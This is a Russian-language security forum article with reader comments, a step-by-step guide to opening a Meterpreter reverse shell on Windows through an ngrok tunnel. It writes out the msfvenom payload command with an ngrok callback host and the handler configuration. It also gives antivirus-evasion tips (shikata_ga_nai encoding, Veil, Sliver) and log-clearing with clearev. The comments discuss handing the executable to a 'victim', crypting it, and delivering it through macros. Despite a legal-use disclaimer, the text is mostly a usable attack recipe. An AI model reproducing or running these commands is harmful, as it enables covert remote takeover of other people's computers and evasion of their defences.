• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Статья Metasploit + Ngrok: быстрый reverse shell без порт‑форвардинга (гайд 2025)

26924


Открыть обратную шелл-сессию через NAT за 3 минуты — без единого проброшенного порта. Реально? Да! Берём Metasploit + Ngrok и показываем, как именно…

Привет, codeby.net!

В этом гайде покажу, как за пару минут поднять reverse shell на Windows (или любой другой ОС) через тандем Metasploit + Ngrok — без открытия портов на роутере и лишней головной боли. Материал рассчитан и на новичков, и на тех, кто уже крутит пентест‑лабы каждый день.

⚖️ Дисклеймер

  • Все приёмы описаны только для легального аудита безопасности. Запускайте payload’ы только на собственных машинах или по письменному согласию владельца.
  • Нецелевое применение попадает под статьи 272 и 273 УК РФ (и аналогичные нормы других стран).
Ещё по теме: Metasploit: привилегии через токены (2025)

Что понадобится

  • Kali/Parrot/любая nix‑система (проверено на Kali 2024.4).
  • Metasploit Framework ≥ 6.4.
  • ngrok ≥ 3.4 (free plan годится, но туннель обрывается каждые 8 ч).
Поехали!

Шаг 0 — регистрация в ngrok

Переходим на сайт , регистрируемся и выполняем первые три пункта стартовой инструкции (скачиваем бинарь, кидаем токен).

24814

Шаг 1 — запускаем ngrok

Открываем терминал и пробиваем TCP‑туннель на нужный нам порт (в примере используем 4444): ./ngrok tcp 4444

24815

В ответ увидите строку вроде: tcp://0.tcp.ngrok.io:13286 → localhost:4444
Значит всё, что прилетит на 0.tcp.ngrok.io:13286, улетит к нам на 4444. Терминал не закрываем.

Шаг 2 — генерим payload

В новом окне создаём meterpreter[/I>‑экзешник с прописанными LHOST/LPORT из вывода выше:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13286 -f exe -o payload.exe

24816
👉 Хотите Linux/Mac/Android payload? Смело меняйте платформу — главное оставить те же LHOST/LPORT.


Шаг 3 — готовим Metasploit‑listener

Код:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0           # слушаем на всех интерфейсах
set LPORT 4444
set ExitOnSession false     # чтобы не падал после первой сессии
set AutoRunScript migrate -f  # сразу уходим из процесса‑приманки
exploit -j -z
24817
Теперь Metasploit сидит на 4444 и ждёт коннекта.

Шаг 4 — (опционально) reverse_https + TLS

Антивирусы любят «голый» reverse_tcp. Если нужен тихий подход, замените payload:

    • Payload: windows/x64/meterpreter/reverse_https
    • Команда ngrok: ./ngrok tls 443 — получаем шифрованный канал через 443/TLS.

Шаг 5 — запускаем payload и принимаем сессию

Когда «жертва» запускает payload.exe, в консоли Metasploit увидите: Meterpreter session 1 opened …


24818

Ура, доступ есть — задача выполнена. ;)

Чистим хвосты

  • Закрываем туннель — просто CTRL+C в окне ngrok.
  • В Metasploit: sessions -i ; exit ; kill -9 $(pgrep ngrok)
  • Удаляем payload.exe с диска целевой системы либо используем в Meterpreter clearev и rm.

Траблшутинг

  • Handler failed to bind — порт занят; укажите другой LPORT как в ngrok, так и в handler.
    пример решения
  • Defender гасит exe — шифруем: -e x86/shikata_ga_nai -i 5 или используем Veil/Sliver.
  • Ngrok внезапно закрылся — бесплатный план, туннель живёт 8 ч. Ставим автоперезапуск или берём Pro‑тариф.
    см. обсуждение
  • LHOST=localhost не работает — слушайте на 0.0.0.0, иначе внешний трафик не дойдёт.

Полезные ссылки

  • — углублённое руководство.
  • — углублённое руководство.
  • — все варианты туннелей.
  • Veil‑Framework — генератор AV‑friendly payloads.

Вывод

Metasploit + Ngrok остаётся простейшим способом пробить NAT/Firewall и организовать управляемую Meterpreter‑сессию за считанные минуты. Следуйте правилам OPSEC, не забывайте про легальную сторону — и пусть ваши тесты будут этичными!
Удачных пентестов, codeby.net! ;)

А вы каким способом обходите NAT/EDR на боевых выездах? Делитесь лайфхаками, какие туннеллеры или C2 сейчас выигрывают гонку с Defender — Sliver, Cloudflared, Tailscale Funnel, frp, или что-то своё? Давайте соберём топ-методы 2025 прямо в ветке!
 
Последнее редактирование модератором:
Проверил на себе нагрузки:
android/meterpreter/reverse_tcp
android/meterpreter/reverse_http
Снимок экрана от 2019-01-10 14-10-26.png

всё работает как часы.
 
  • Нравится
Реакции: LTD и n3d.b0y
После того когда на windows машине запуститься сгенерированная нами пользовательская нагрузка “payload.exe” в консоли мы увидим обратное подключение.
подскажите совсем зеленому, как запустить этот пейлоад на тарегт хосте?? это происходит автоматически или же "payload.exe" нужно подсунуть "жертве" что бы она сама запустила его на своем ПК?
 
подскажите совсем зеленому, как запустить этот пейлоад на тарегт хосте?? это происходит автоматически или же "payload.exe" нужно подсунуть "жертве" что бы она сама запустила его на своем ПК?
Подсунуть.

Разумеется с согласия жертвы в рамках теста)
 
  • Нравится
Реакции: LTD и Pablo Garcia
только мало толку,одноразовая сессия
В корне с этим не согласен. Все зависит от того как это реализовать. Вот один пример из большого количество который можно привести. Если делать payload с восстановление сессии то можно залить порт на pastebin и перед подключением проверять его там. Когда порт измениться меняешь порт на pastebin и все сново работает.

p.s Все ограничивается вашей фантазией ;) Не нужна воспринимать все шаги как строгую инструкцию. Суть статьи показать как можно открыть порт)
 
Последнее редактирование:
  • Нравится
Реакции: Andrei Cenusa и MrBa
попробовал. сталкнулся с очевидной проблемой( палевностью пейлоада). Через почту или файл обменник не дает отправить/залить. скинул нагрузку на флешку и руками закинул на таргет хост( вин10 бе ав) стандартные системы защиты винды сразу за визжали и определил нагрузку как троян. Залес в карантин выбрал нагрузку и разрешил ее активацию, сессия на мгновение запустилась и тут же упала. От сюда вопросы: как криптануть нагрузку и возможно ли доставка по средствам макросов или подобных методов?
 
у меня выдает ошибку при создании payload'а. Именно такого. Другие создаются спокойно
 
Откуда такая информация?
Читайте другие темы.) Во вчерашней теме вроде было сказано. (Про seeker)

Это же уже старый спсоб, у некоторых робит, у некоторых нет.) Год назад видел чисто такую же... Тему, только скрины были другие.)
 
ngrok роскомнадзор в сфере интернета все теперь нету программ наподобие ngrok
 
ngrok роскомнадзор в сфере интернета все теперь нету программ наподобие ngrok
Странно, гуглил все что можно, также искал на сайте ркн. В итоге не нашел абсолютно ничего связанного с блокировкой ngrok в РФ. Можете поделиться ссылкой на статью, новость или документ связанный с блокировкой?
 
Извиняюсь. Сегодня затестил ngrok- не цыпляется. borrow.io и serve.net вообще на сайт не заходит даже..... :(
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab